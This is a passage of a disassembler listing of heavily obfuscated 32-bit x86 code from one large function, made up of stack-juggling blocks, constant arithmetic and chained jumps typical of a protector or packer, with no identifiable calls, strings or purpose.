loc_5CC1BF:				; CODE XREF: sub_5A55E5+1B132j
		add	esp, 4
		jmp	loc_5CA949
; ---------------------------------------------------------------------------


loc_5CC1C7:				; CODE XREF: sub_5A55E5+24B97j
		sub	ebx, 4
		xchg	ebx, [esp+0B4h+var_B4]
		pop	esp
		push	27C3h
		mov	[esp+0B4h+var_B4], esp
		add	[esp+0B4h+var_B4], 4
		pop	[esp+0B4h+var_B4]
		add	[esp+0B0h+var_B0], 4
		pop	[esp+0B0h+var_B0]
		sub	esp, 4
		jmp	loc_5CF6AE
; ---------------------------------------------------------------------------


loc_5CC1F5:				; CODE XREF: sub_5A55E5+20270j
		push	eax
		mov	ah, bl
		mov	cl, ah
		pop	eax
		pop	ebx
		jmp	loc_5CE74F
; ---------------------------------------------------------------------------


loc_5CC201:				; CODE XREF: sub_5A55E5+2DE57j
		mov	[esp+9Ch+var_9C], esp
		push	edx
		mov	edx, 4
		add	[esp+0A0h+var_9C], edx
		pop	edx
		mov	edx, [esp+9Ch+var_9C]
		jmp	loc_5D13AF
; ---------------------------------------------------------------------------


loc_5CC217:				; CODE XREF: sub_5A55E5+299E5j
		push	89Bh
		mov	[esp+0A0h+var_A0], ecx
		push	eax
		mov	ah, 0CCh
		mov	cl, ah
		jmp	loc_5C881D
; ---------------------------------------------------------------------------


loc_5CC229:				; CODE XREF: sub_5A55E5+1A493j
		push	5617h
		mov	[esp+58h+var_58], esp
		push	ebp
		mov	ebp, 4
		add	[esp+5Ch+var_58], ebp
		pop	ebp
		pop	ecx
		push	edx
		mov	edx, 4C457B10h
		jmp	loc_5C6798
; ---------------------------------------------------------------------------


loc_5CC248:				; CODE XREF: sub_5A55E5+29AC9j
		pop	ebx
		add	esp, 4
		add	edx, 1
		add	edx, 730877E6h
		shr	edx, 7
		jmp	loc_5C267E
; ---------------------------------------------------------------------------


loc_5CC25D:				; CODE XREF: sub_5A55E5+28E1Fj
		shl	bh, 1
		neg	bh
		add	bh, 4Fh
		jmp	loc_5D2718
; ---------------------------------------------------------------------------


loc_5CC269:				; CODE XREF: sub_5A55E5+261FEj
		push	[esp+88h+var_84]
		pop	edi
		jmp	loc_5CA6D1
; ---------------------------------------------------------------------------


loc_5CC273:				; CODE XREF: sub_5A55E5+26F1Cj
		pop	ecx
		pop	[esp+84h+var_84]
		mov	esp, [esp+80h+var_80]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CC27F:				; CODE XREF: sub_5A55E5+27C44j
		pop	ebx
		add	ebp, 0FFB4E50Ch
		sub	edx, ebp
		pop	ebp
		jmp	loc_5CFEA3
; ---------------------------------------------------------------------------


loc_5CC28E:				; CODE XREF: sub_5A55E5+2AB62j
		add	[esp+78h+var_74], esi
		pop	esi
		pop	ecx
		push	142Dh
		jmp	loc_5C9A76
; ---------------------------------------------------------------------------


loc_5CC29E:				; CODE XREF: sub_5A55E5+25B15j
		push	edx
		push	[esp+6Ch+var_68]
		jmp	loc_5C7DF1
; ---------------------------------------------------------------------------


loc_5CC2A8:				; CODE XREF: sub_5A55E5+28748j
		mov	edi, 62C87803h
		shl	edi, 4
		sub	edi, 0FFFFFFFFh
		push	ecx
		jmp	loc_5C7194
; ---------------------------------------------------------------------------


loc_5CC2BC:				; CODE XREF: sub_5A55E5+1B0E2j
		add	esi, 4
		xor	esi, [esp+8Ch+var_8C]
		xor	[esp+8Ch+var_8C], esi
		xor	esi, [esp+8Ch+var_8C]
		jmp	loc_5CB281
; ---------------------------------------------------------------------------


loc_5CC2D0:				; CODE XREF: sub_5A55E5+2E282j
		sub	ebx, 120D57A5h
		jmp	loc_5D2B3A
; ---------------------------------------------------------------------------


loc_5CC2DB:				; CODE XREF: sub_5A55E5+2AE8Fj
		mov	dh, 0ADh
		sub	cl, 0A7h
		sub	cl, dh
		add	cl, 0A7h
		pop	dx
		jmp	loc_5CFC72
; ---------------------------------------------------------------------------


loc_5CC2EC:				; CODE XREF: sub_5A55E5+2993Fj
		mov	[esp+8Ah+var_8C+2], ebp
		push	ecx
		mov	ecx, 3FB639F6h
		mov	ebp, 0C049C60Eh
		add	ebp, ecx
		pop	ecx
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+86h+var_88+2]
		pop	esp
		mov	[esp+82h+var_84+2], edi
		mov	edi, 800h
		and	ecx, edi
		push	[esp+82h+var_84+2]
		pop	edi
		sub	esp, 4
		mov	[esp+86h+var_88+2], edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		jmp	loc_5C8B87
; ---------------------------------------------------------------------------


loc_5CC328:				; CODE XREF: sub_5A55E5+2E55Ej
		mov	edx, 734454B5h
		shr	edx, 3
		jmp	loc_5CDCBB
; ---------------------------------------------------------------------------


loc_5CC335:				; CODE XREF: sub_5A55E5+21113j
		add	ecx, 4
		jmp	loc_5CA879
; ---------------------------------------------------------------------------


loc_5CC33D:				; CODE XREF: sub_5A55E5+1A6E6j
		mov	[esp+9Ah+var_9C+2], edx
		jmp	loc_5C914B
; ---------------------------------------------------------------------------


loc_5CC345:				; CODE XREF: sub_5A55E5+27401j
		mov	esp, [esp+9Ah+var_9C+2]
		mov	[esp+9Ah+var_9C+2], edx
		push	[esp+9Ah+var_98+2]
		mov	edx, [esp+9Eh+var_A0+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+0A2h+var_A4+2]
		xor	[esp+0A2h+var_A4+2], edi
		xor	edi, [esp+0A2h+var_A4+2]
		jmp	loc_5C42AA
; ---------------------------------------------------------------------------


loc_5CC36F:				; CODE XREF: sub_5A55E5+226A4j
		sub	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+68h+var_68], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+68h+var_68]
		pop	esp
		jmp	loc_5C1750
; ---------------------------------------------------------------------------


loc_5CC38C:				; CODE XREF: sub_5A55E5+2463Ej
		push	esi
		mov	esi, 0CF54A644h
		sub	edx, esi
		pop	esi
		sub	edx, ebx
		jmp	loc_5CA909
; ---------------------------------------------------------------------------


loc_5CC39C:				; CODE XREF: sub_5A55E5+1E62Ej
		sub	eax, ebp
		jmp	loc_5C7263
; ---------------------------------------------------------------------------


loc_5CC3A3:				; CODE XREF: sub_5A55E5+22E9Dj
		mov	ebx, eax
		pop	eax
		pop	edx
		push	esi
		mov	esi, 6C4F7F2Ah
		dec	esi
		sub	esi, 0FFFFFFFFh
		xchg	ebp, esi
		neg	ebp
		xchg	ebp, esi
		sub	esi, 0FFFFFFFFh
		push	eax
		push	edx
		mov	edx, 0D4F4D64Fh
		mov	eax, edx
		pop	edx
		jmp	loc_5CEFE0
; ---------------------------------------------------------------------------


loc_5CC3CF:				; CODE XREF: sub_5A55E5+1EDE9j
		or	edi, 79C631Fh
		sub	edi, 0AF1F39FFh
		add	edx, edi
		pop	edi
		add	edx, ecx
		sub	edx, 187E3980h
		mov	ecx, [esp+8Ch+var_8C]
		add	esp, 4
		push	ebp
		mov	ebp, edx
		mov	ecx, ebp
		pop	ebp
		pop	edx
		push	ecx
		add	[esp+88h+var_88], 70173142h
		pop	esi
		sub	esi, 70173142h
		pop	ecx
		and	eax, esi
		pop	esi
		shr	eax, 18h
		xor	eax, ecx
		push	7E4Bh
		mov	[esp+80h+var_80], eax
		jmp	loc_5C9004
; ---------------------------------------------------------------------------


loc_5CC418:				; CODE XREF: sub_5A55E5+1F535j
		sub	eax, 29E6609h
		push	edx
		jmp	loc_5C51EE
; ---------------------------------------------------------------------------


loc_5CC423:				; CODE XREF: sub_5A55E5+1DF9Cj
		not	ecx
		not	ecx
		sub	ecx, 0DCAACF9Dh
		add	ecx, 46A0362Eh
		sub	ecx, 718D1077h
		push	ebx
		mov	ebx, 0E856339h
		not	ebx
		sub	esp, 4
		mov	[esp+0AAh+var_AC+2], ebp
		mov	ebp, 20175DBEh
		dec	ebp
		shr	ebp, 1
		add	ebp, 0D6F888Ch
		sub	ebx, ebp
		mov	ebp, [esp+0AAh+var_AC+2]
		add	esp, 4
		not	ebx
		not	ebx
		dec	ebx
		sub	ebx, 86E4CBCBh
		xor	ecx, ebx
		pop	ebx
		sub	edi, 0D236DBCh
		add	edi, ecx
		add	edi, 0D236DBCh
		jmp	loc_5D1A43
; ---------------------------------------------------------------------------


loc_5CC484:				; CODE XREF: sub_5A55E5+2E371j
		add	eax, esi
		push	ebx
		mov	ebx, 55681FBFh
		jmp	loc_5C598A
; ---------------------------------------------------------------------------


loc_5CC491:				; CODE XREF: sub_5A55E5+26469j
		add	eax, 11812D10h
		add	eax, ebx
		sub	eax, 11812D10h
		push	edi
		mov	edi, 2F772C49h
		add	eax, edi
		pop	edi
		pop	ebx
		push	4154h
		mov	[esp+0A8h+var_A8], eax
		push	[esp+0A8h+var_A4]
		jmp	loc_5D1EF2
; ---------------------------------------------------------------------------


loc_5CC4B8:				; CODE XREF: sub_5A55E5+283E0j
		mov	ebx, 3EFC56E7h
		add	ebx, 20747341h
		not	ebx
		xor	ebx, 53E32CD3h
		sub	ebx, 9C550AA2h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_5C7175
; ---------------------------------------------------------------------------


loc_5CC4D9:				; CODE XREF: sub_5A55E5+1F896j
		push	cx
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CC4E1:				; CODE XREF: sub_5A55E5+1ED29j
		pop	ecx
		add	edx, edi
		pop	edi
		xchg	edx, [esp+98h+var_98]
		mov	esp, [esp+98h+var_98]
		jmp	loc_5C9311
; ---------------------------------------------------------------------------


loc_5CC4F0:				; CODE XREF: sub_5A55E5+23A1Aj
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CC4F5:				; CODE XREF: sub_5A55E5+1EBF6j
		pop	ebx
		add	ecx, 4
		push	ecx
		push	[esp+94h+var_90]
		jmp	loc_5CC273
; ---------------------------------------------------------------------------


loc_5CC506:				; CODE XREF: sub_5A55E5+2ABE2j
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+98h+var_98]
		pop	esp
		jmp	loc_5C3C04
; ---------------------------------------------------------------------------


loc_5CC51B:				; CODE XREF: sub_5A55E5+2A7F7j
		mov	dl, 2Ch
		jmp	loc_5C492E
; ---------------------------------------------------------------------------


loc_5CC522:				; CODE XREF: sub_5A55E5+21694j
		pop	edi
		push	edx
		inc	[esp+9Eh+var_A0+2]
		pop	edx
		add	edx, 64EA629Bh
		xor	eax, edx
		mov	edx, [esp+9Ah+var_9C+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+9Eh+var_A0+2]
		xor	[esp+9Eh+var_A0+2], ecx
		xor	ecx, [esp+9Eh+var_A0+2]
		pop	esp
		jmp	loc_5D101A
; ---------------------------------------------------------------------------


loc_5CC551:				; CODE XREF: sub_5A55E5+1CAD0j
		pop	eax
		jmp	loc_5CF454
; ---------------------------------------------------------------------------


loc_5CC557:				; CODE XREF: sub_5A55E5+21211j
		add	bl, dl
		jmp	loc_5CA6FD
; ---------------------------------------------------------------------------


loc_5CC55E:				; CODE XREF: sub_5A55E5+2C273j
		mov	ebx, 2A17B6Eh
		sub	esi, ebx
		jmp	loc_5C7C49
; ---------------------------------------------------------------------------


loc_5CC56A:				; CODE XREF: sub_5A55E5+238C3j
		and	eax, edi
		mov	edi, [esp+0A4h+var_A4]
		jmp	loc_5C703C
; ---------------------------------------------------------------------------


loc_5CC574:				; CODE XREF: sub_5A55E5+24F12j
		xor	edi, 300646F5h
		neg	edi
		or	edi, 6DB5402Ah
		push	esi
		mov	esi, 0D380EF6Dh
		jmp	loc_5C3C50
; ---------------------------------------------------------------------------


loc_5CC58D:				; CODE XREF: sub_5A55E5+2DAB0j
		not	cl
		shl	cl, 8
		push	ebx
		jmp	loc_5CC645
; ---------------------------------------------------------------------------


loc_5CC598:				; CODE XREF: sub_5A55E5+1D770j
		sub	eax, 45EC5A17h
		push	ebx
		mov	ebx, 14C266E9h
		shl	ebx, 7
		sub	ebx, 50C1FCD1h
		add	eax, 6DF8353Ah
		add	eax, ebx
		sub	eax, 6DF8353Ah
		pop	ebx
		pop	esi
		add	eax, 4
		xchg	eax, [esp+0AEh+var_B0+2]
		pop	esp
		push	14h
		mov	[esp+0AEh+var_B0+2], edi
		push	7AB0h
		mov	[esp+0B2h+var_B4+2], edx
		jmp	loc_5C465D
; ---------------------------------------------------------------------------


loc_5CC5D8:				; CODE XREF: sub_5A55E5+2A3BBj
		xchg	ebp, [esp+0B2h+var_B4+2]
		pop	esp
		add	esi, 385373E6h
		sub	esi, ecx
		jmp	loc_5C418B
; ---------------------------------------------------------------------------


loc_5CC5E9:				; CODE XREF: sub_5A55E5+1F573j
		push	esi
		not	[esp+94h+var_94]
		pop	esi
		jmp	loc_5C979A
; ---------------------------------------------------------------------------


loc_5CC5F3:				; CODE XREF: sub_5A55E5+1CD75j
		mov	ecx, [esp+6Eh+var_70+2]
		add	esp, 4
		mov	ch, dl
		pop	edx
		sub	esp, 2
		mov	word ptr [esp+6Ah+var_6C+2], cx
		jmp	loc_5C3CC5
; ---------------------------------------------------------------------------


loc_5CC60E:				; CODE XREF: sub_5A55E5+2CCBEj
		pop	ecx
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CC614:				; CODE XREF: sub_5A55E5+25959j
		add	eax, 4
		xchg	eax, [esp+88h+var_88]
		pop	esp
		add	ecx, 1E7F0474h
		push	0
		sub	[esp+88h+var_88], 574D461Fh
		sub	[esp+88h+var_88], ecx
		jmp	loc_5CD832
; ---------------------------------------------------------------------------


loc_5CC635:				; CODE XREF: sub_5A55E5+27DF7j
		sub	cl, 0DFh
		not	cl
		jmp	loc_5CB979
; ---------------------------------------------------------------------------


loc_5CC63F:				; CODE XREF: sub_5A55E5+2633Ej
		dec	eax
		jmp	loc_5C3D73
; ---------------------------------------------------------------------------


loc_5CC645:				; CODE XREF: sub_5A55E5+26FAEj
		push	edx
		mov	dh, 0F0h
		mov	bh, dh
		jmp	loc_5CE818
; ---------------------------------------------------------------------------


loc_5CC64F:				; CODE XREF: sub_5A55E5+2E116j
		sub	eax, 2640001Ch
		sub	ebx, 7E93288Fh
		jmp	loc_5CB079
; ---------------------------------------------------------------------------


loc_5CC65F:				; CODE XREF: sub_5A55E5+218F1j
		push	44A1h
		mov	[esp+58h+var_58], esi
		mov	esi, 4
		add	[esp+58h+var_54], esi
		pop	esi
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		jmp	loc_5D087D
; ---------------------------------------------------------------------------


loc_5CC683:				; CODE XREF: sub_5A55E5+22253j
		push	[esp+84h+var_84]
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_5D0CC7
; ---------------------------------------------------------------------------


loc_5CC68F:				; CODE XREF: sub_5A55E5+1FE33j
		add	edx, ebp
		pop	ebp
		push	5A3Fh
		mov	[esp+64h+var_64], edx
		push	[esp+64h+var_60]
		pop	edx
		jmp	loc_5CC14C
; ---------------------------------------------------------------------------


loc_5CC6A4:				; CODE XREF: sub_5A55E5+2C05Cj
		push	ebx
		jmp	loc_5D3908
; ---------------------------------------------------------------------------


loc_5CC6AA:				; CODE XREF: sub_5A55E5+21784j
		pop	eax
		xor	bh, 0A8h
		sub	al, 61h
		add	al, bh
		push	edx
		mov	dl, 61h
		add	al, dl
		pop	edx
		mov	ebx, [esp+54h+var_54]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		mov	dx, word ptr [esp+50h+var_50]
		jmp	loc_5D1CE5
; ---------------------------------------------------------------------------


loc_5CC6CF:				; CODE XREF: sub_5A55E5+206C5j
		mov	esi, 39A92A03h
		sub	ebx, esi
		jmp	loc_5C9354
; ---------------------------------------------------------------------------


loc_5CC6DB:				; CODE XREF: sub_5A55E5+1F30Ej
		mov	esi, [esp+92h+var_94+2]
		add	esp, 4


loc_5CC6E4:				; CODE XREF: sub_5A55E5+258B3j
					; sub_5A55E5+2E4CEj
		sub	esp, 4
		mov	[esp+92h+var_94+2], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		push	1445h
		mov	[esp+96h+var_98+2], eax
		mov	eax, 4
		sub	edi, eax
		pop	eax
		push	edi
		push	[esp+96h+var_94+2]
		mov	edi, [esp+9Ah+var_9C+2]
		add	esp, 4
		pop	[esp+96h+var_98+2]
		mov	esp, [esp+92h+var_94+2]
		mov	[esp+92h+var_94+2], ecx
		push	esp
		mov	ecx, [esp+96h+var_98+2]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_5CD016
; ---------------------------------------------------------------------------


loc_5CC736:				; CODE XREF: sub_5A55E5+1C05Fj
		add	esp, 4
		jmp	loc_5C6F51
; ---------------------------------------------------------------------------


loc_5CC73E:				; CODE XREF: sub_5A55E5+209FDj
		pop	edi
		pop	[esp+98h+var_98]
		push	0BCBh
		mov	[esp+98h+var_98], edi
		mov	edi, 4
		push	ebx
		sub	esp, 4
		mov	[esp+0A0h+var_A0], edx
		push	71656C46h
		jmp	loc_5D199B
; ---------------------------------------------------------------------------


loc_5CC763:				; CODE XREF: sub_5A55E5+204E8j
		add	ebp, 4
		push	ebp
		push	[esp+7Ch+var_78]
		pop	ebp
		jmp	loc_5C9FE6
; ---------------------------------------------------------------------------


loc_5CC774:				; CODE XREF: sub_5A55E5+228DBj
		push	ecx
		push	eax
		mov	eax, 7A741EFDh
		mov	ecx, eax
		mov	eax, [esp+0ACh+var_AC]
		push	eax
		mov	eax, esp
		jmp	loc_5CAF39
; ---------------------------------------------------------------------------


loc_5CC788:				; CODE XREF: sub_5A55E5+24BEFj
		mov	[esp+78h+var_78], esi
		mov	esi, 2
		add	ecx, esi
		mov	esi, [esp+78h+var_78]
		jmp	loc_5D3130
; ---------------------------------------------------------------------------


loc_5CC79A:				; CODE XREF: sub_5A55E5+269EDj
		push	78E6h
		mov	[esp+0A0h+var_A0], esi
		push	3BCFh
		mov	[esp+0A4h+var_A4], ebp
		push	ecx
		mov	ecx, 75C706BAh
		push	ecx
		pop	ebp
		mov	ecx, [esp+0A8h+var_A8]
		add	esp, 4
		jmp	loc_5C67FB
; ---------------------------------------------------------------------------


loc_5CC7BD:				; CODE XREF: sub_5A55E5+29822j
		mov	[esp+0A4h+var_A4], esp
		add	[esp+0A4h+var_A4], 4
		pop	ecx
		add	ecx, 4
		push	59EBh
		mov	[esp+0A4h+var_A4], ebx
		mov	ebx, 46DF2194h
		shl	ebx, 6
		shr	ebx, 4
		jmp	loc_5C8159
; ---------------------------------------------------------------------------


loc_5CC7E6:				; CODE XREF: sub_5A55E5+24F73j
		mov	[esp+90h+var_90], ebx
		jmp	loc_5CF904
; ---------------------------------------------------------------------------


loc_5CC7EE:				; CODE XREF: sub_5A55E5+2CF8Aj
		sub	esp, 4
		mov	[esp+94h+var_94], edx
		pop	ebp
		push	[esp+90h+var_90]
		mov	edx, [esp+94h+var_94]
		add	esp, 4
		jmp	loc_5CF294
; ---------------------------------------------------------------------------


loc_5CC806:				; CODE XREF: sub_5A55E5+23244j
		add	ebx, 4
		xchg	ebx, [esp+0B0h+var_B0]
		pop	esp
		shr	cl, 4
		push	ax
		mov	ah, 3Ch
		and	cl, ah
		mov	ax, word ptr [esp+0AEh+var_B0+2]
		jmp	loc_5CD3CA
; ---------------------------------------------------------------------------


loc_5CC81F:				; CODE XREF: sub_5A55E5+1F1DCj
		push	esi
		mov	esi, 36433B01h
		add	esi, 1A4A7303h
		sub	esi, 0F91C5C40h
		mov	ecx, esi
		pop	esi
		jmp	loc_5D1720
; ---------------------------------------------------------------------------


loc_5CC839:				; CODE XREF: sub_5A55E5+1DB78j
		dec	[esp+98h+var_98]
		not	[esp+98h+var_98]
		jmp	loc_5CAA5D
; ---------------------------------------------------------------------------


loc_5CC844:				; CODE XREF: sub_5A55E5+22B05j
		mov	[esp+0B6h+var_B8+2], ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		push	4
		jmp	loc_5D3CCE
; ---------------------------------------------------------------------------


loc_5CC85A:				; CODE XREF: sub_5A55E5+22748j
		pop	ebp
		mov	eax, 30456CF1h
		push	edx
		jmp	loc_5C0522
; ---------------------------------------------------------------------------


loc_5CC866:				; CODE XREF: sub_5A55E5+1E290j
		xor	ebp, ecx
		push	[esp+54h+var_54]
		pop	ecx
		add	esp, 4
		push	eax
		jmp	loc_5C4050
; ---------------------------------------------------------------------------


loc_5CC875:				; CODE XREF: sub_5A55E5+238D1j
		pop	ecx
		jmp	loc_5D13E2
; ---------------------------------------------------------------------------


loc_5CC87B:				; CODE XREF: sub_5A55E5+1A69Dj
		add	edx, 676B59F4h
		add	edx, edi
		push	edi
		jmp	loc_5D3D13
; ---------------------------------------------------------------------------


loc_5CC889:				; CODE XREF: sub_5A55E5+24D4Aj
		pop	[esp+98h+var_98]
		mov	eax, [esp+94h+var_94]
		jmp	loc_5BFDE1
; ---------------------------------------------------------------------------


loc_5CC894:				; CODE XREF: sub_5A55E5+2D900j
		mov	[esp+94h+var_94], eax
		jmp	loc_5CA8AF
; ---------------------------------------------------------------------------


loc_5CC89C:				; CODE XREF: sub_5A55E5+2267Aj
		pop	eax
		add	dh, 55h
		sub	esp, 4
		mov	[esp+68h+var_68], ecx
		mov	cl, 42h
		add	cl, 0BCh
		sub	al, cl
		jmp	loc_5C3C69
; ---------------------------------------------------------------------------


loc_5CC8B2:				; CODE XREF: sub_5A55E5+23FF7j
		mov	ecx, 4C5327A9h
		mov	edi, 26F50C77h
		add	edi, ecx
		pop	ecx
		add	edi, 40436A6Ch
		sub	edi, 976F6A93h
		add	eax, edi
		mov	edi, [esp+92h+var_94+2]
		jmp	loc_5C25CD
; ---------------------------------------------------------------------------


loc_5CC8D5:				; CODE XREF: sub_5A55E5+22F14j
		and	ecx, 74D60718h
		sub	ecx, 5203FCh
		push	6F9Ch
		mov	[esp+90h+var_90], eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp+90h+var_90]
		mov	esp, [esp+90h+var_90]
		mov	[esp+90h+var_90], eax
		mov	eax, 37BF1584h
		inc	eax
		add	eax, 5F3A466Fh
		inc	eax
		sub	eax, 1
		jmp	loc_5D2014
; ---------------------------------------------------------------------------


loc_5CC916:				; CODE XREF: sub_5A55E5+1E1A8j
		push	edx
		jmp	loc_5CE30E
; ---------------------------------------------------------------------------
		push	small 4CABh
		mov	word ptr [esp+0C6h+var_C8+2], sp
		push	small 62D6h
		mov	word ptr [esp+0C8h+var_C8], cx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0CCh+var_CC]
		jmp	loc_5C7D3B
; ---------------------------------------------------------------------------


loc_5CC943:				; CODE XREF: sub_5A55E5+1E0F7j
		pop	ecx
		pop	[esp+4Eh+var_50+2]
		mov	esp, [esp+4Ah+var_4A]
		mov	[edi+eax*4+1], bl
		mov	ebx, [esp+4Ah+var_4A]
		add	esp, 4
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CC959:				; CODE XREF: sub_5A55E5+20B46j
		add	ecx, 58B74722h
		sub	ecx, 6B0C0D96h
		sub	ecx, edx
		jmp	loc_5C235F
; ---------------------------------------------------------------------------


loc_5CC96C:				; CODE XREF: sub_5A55E5+2829Bj
		add	eax, 4
		xchg	eax, [esp+0A2h+var_A4+2]
		pop	esp
		pop	eax
		push	ecx
		jmp	loc_5C0DA3
; ---------------------------------------------------------------------------


loc_5CC97C:				; CODE XREF: sub_5A55E5+225D0j
		mov	esi, 23C358B4h
		add	ebp, 210B4530h
		push	edx
		mov	edx, 0E1D5ADBh
		xor	edx, 74015CC3h
		jmp	loc_5C7466
; ---------------------------------------------------------------------------


loc_5CC998:				; CODE XREF: sub_5A55E5+22959j
		mov	dx, word ptr [esp+56h+var_58+2]
		jmp	loc_5CFEDA
; ---------------------------------------------------------------------------


loc_5CC9A1:				; CODE XREF: sub_5A55E5+1AAA4j
		mov	edx, 4
		jmp	loc_5C94B9
; ---------------------------------------------------------------------------


loc_5CC9AB:				; CODE XREF: sub_5A55E5+2E464j
		not	ebp
		sub	ebp, 0F83D29Eh
		mov	esi, ebp
		mov	ebp, [esp+86h+var_88+2]
		jmp	loc_5CFD11
; ---------------------------------------------------------------------------


loc_5CC9BD:				; CODE XREF: sub_5A55E5+1B50Fj
		mov	esp, [esp+8Eh+var_90+2]
		push	ebp
		xor	[esp+92h+var_94+2], 71F6305Bh
		jmp	loc_5C2C2B
; ---------------------------------------------------------------------------


loc_5CC9CD:				; CODE XREF: sub_5A55E5+1A65Dj
		inc	ebp
		xor	ebp, 819C744h
		add	edx, ebp
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+96h+var_98+2]
		jmp	loc_5CC345
; ---------------------------------------------------------------------------


loc_5CC9EB:				; CODE XREF: sub_5A55E5+1FE7Aj
		mov	[esp+0B2h+var_B4+2], eax
		jmp	loc_5C2013
; ---------------------------------------------------------------------------


loc_5CC9F3:				; CODE XREF: sub_5A55E5+2922Ej
		mov	ebp, 3047345Eh
		jmp	loc_5C6F75
; ---------------------------------------------------------------------------


loc_5CC9FD:				; CODE XREF: sub_5A55E5+255FBj
					; sub_5A55E5+2DC7Cj
		push	877h
		mov	[esp+92h+var_94+2], ecx
		jmp	loc_5C80AC
; ---------------------------------------------------------------------------


loc_5CCA0A:				; CODE XREF: sub_5A55E5+25A8Fj
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		mov	ebp, 2
		add	esi, 7A6C7C1Fh
		jmp	loc_5C3263
; ---------------------------------------------------------------------------


loc_5CCA23:				; CODE XREF: sub_5A55E5+2B36Fj
		xchg	edi, [esp+0C2h+var_C4+2]
		mov	esp, [esp+0C2h+var_C4+2]
		jmp	loc_5C7E8B
; ---------------------------------------------------------------------------


loc_5CCA2E:				; CODE XREF: sub_5A55E5+29B87j
		pop	esi
		sub	ebx, esi
		pop	esi
		push	eax
		mov	eax, 6E44763Ah
		jmp	loc_5C4D67
; ---------------------------------------------------------------------------


loc_5CCA3D:				; CODE XREF: sub_5A55E5+1DABEj
		xor	ebx, 612D5DE3h
		push	edi
		mov	edi, 39236575h
		dec	edi
		xor	edi, 0C32936E8h
		sub	ebx, edi
		pop	edi
		and	edi, ebx
		mov	ebx, [esp+0A6h+var_A8+2]
		add	esp, 4
		push	ebp
		mov	ebp, 571D7B59h
		neg	ebp
		jmp	loc_5CBC8B
; ---------------------------------------------------------------------------


loc_5CCA6B:				; CODE XREF: sub_5A55E5+1D2FFj
		pop	ebx
		jmp	loc_5D1C71
; ---------------------------------------------------------------------------


loc_5CCA71:				; CODE XREF: sub_5A55E5+2C853j
		push	478Ah
		mov	[esp+82h+var_84+2], esi
		mov	esi, esp
		push	ebp
		jmp	loc_5CF2C2
; ---------------------------------------------------------------------------


loc_5CCA81:				; CODE XREF: sub_5A55E5+25365j
		add	al, cl
		push	[esp+94h+var_94]
		mov	ecx, [esp+98h+var_98]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+9Ch+var_9C]
		pop	esp
		jmp	loc_5C048B
; ---------------------------------------------------------------------------


loc_5CCAA1:				; CODE XREF: sub_5A55E5+2CF31j
		add	ecx, 4
		jmp	loc_5C4F91
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp+94h+var_94], eax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CCABA:				; CODE XREF: sub_5A55E5+2C41Dj
		push	[esp+98h+var_98]
		pop	ecx
		sub	esp, 4
		mov	[esp+9Ch+var_9C], ebx
		jmp	loc_5C4534
; ---------------------------------------------------------------------------


loc_5CCAC9:				; CODE XREF: sub_5A55E5+25AAFj
		push	3075h
		mov	[esp+9Ch+var_9C], ecx
		jmp	loc_5C0703
; ---------------------------------------------------------------------------


loc_5CCAD6:				; CODE XREF: sub_5A55E5+1AFA0j
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5C7FE7
; ---------------------------------------------------------------------------


loc_5CCAE3:				; CODE XREF: sub_5A55E5+2E589j
		shl	edi, 7
		sub	edi, 1E738279h
		add	edx, 466F7FE6h
		jmp	loc_5D0049
; ---------------------------------------------------------------------------


loc_5CCAF7:				; CODE XREF: sub_5A55E5+1D429j
		sub	esi, 0D854D21h
		xor	esi, 67F30FC1h
		shl	esi, 6
		shr	esi, 6
		xor	esi, 422D67C9h
		jmp	loc_5D242D
; ---------------------------------------------------------------------------


loc_5CCB14:				; CODE XREF: sub_5A55E5+1F96Fj
		mov	edi, 4
		mov	ecx, edi
		push	[esp+0B0h+var_B0]
		pop	edi
		add	esp, 4
		add	edx, ecx
		jmp	loc_5C3792
; ---------------------------------------------------------------------------


loc_5CCB29:				; CODE XREF: sub_5A55E5+1F74Fj
		sub	esp, 4
		mov	[esp+9Eh+var_A0+2], eax
		mov	eax, 55913977h
		push	eax
		not	[esp+0A2h+var_A4+2]
		pop	eax
		xor	eax, 4D735BCCh
		jmp	loc_5C73BA
; ---------------------------------------------------------------------------


loc_5CCB46:				; CODE XREF: sub_5A55E5+26B9Ej
		add	esp, 4
		jmp	loc_5D2DD8
; ---------------------------------------------------------------------------


loc_5CCB51:				; CODE XREF: sub_5A55E5+1EEA8j
		push	edi
		jmp	loc_5CFAFF
; ---------------------------------------------------------------------------


loc_5CCB57:				; CODE XREF: sub_5A55E5+29CAAj
		dec	esi
		push	edi
		mov	edi, 5D795F52h
		push	ebp
		mov	ebp, 7F67048Ah
		dec	ebp
		add	ebp, 3E4C5A82h
